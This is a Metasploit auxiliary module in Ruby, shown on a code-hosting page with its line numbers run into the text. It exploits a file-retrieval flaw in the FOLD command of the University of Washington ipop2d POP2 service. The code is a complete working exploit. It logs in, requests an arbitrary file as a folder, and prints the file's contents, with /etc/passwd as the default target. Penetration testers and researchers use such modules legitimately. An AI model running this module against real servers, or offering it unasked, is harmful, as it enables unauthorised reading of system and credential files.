Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/pop2/uw_fileretrieval.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::Pop278def initialize(info = {})9super(update_info(info,10'Name' => 'UoW pop2d Remote File Retrieval Vulnerability',11'Description' => %q{12This module exploits a vulnerability in the FOLD command of the13University of Washington ipop2d service. By specifying an arbitrary14folder name it is possible to retrieve any file which is world or group15readable by the user ID of the POP account. This vulnerability can only16be exploited with a valid username and password. The From address is17the file owner.18},19'Author' => [ 'aushack' ],20'License' => MSF_LICENSE,21'References' =>22[23[ 'OSVDB', '368' ],24[ 'BID', '1484' ],25],26'DisclosureDate' => '2000-07-14'))2728register_options(29[30OptString.new('FILE', [ true, "The file to retrieve", '/etc/passwd' ])31])32end3334def run35connect_login36file = datastore['FILE']37res = send_cmd( ['FOLD', file] , true)3839if (res =~ /#1 messages in/)40send_cmd( ['READ 1'] , true)41file_output = send_cmd( ['RETR'] , true)42print_status("File output:\r\n\r\n#{file_output}\r\n")43send_cmd( ['ACKS'] , true)44elsif (res =~ /#0 messages in/)45print_status("File #{file} not found or read-access is denied.")46end4748send_cmd( ['QUIT'] , true)49disconnect50end51end525354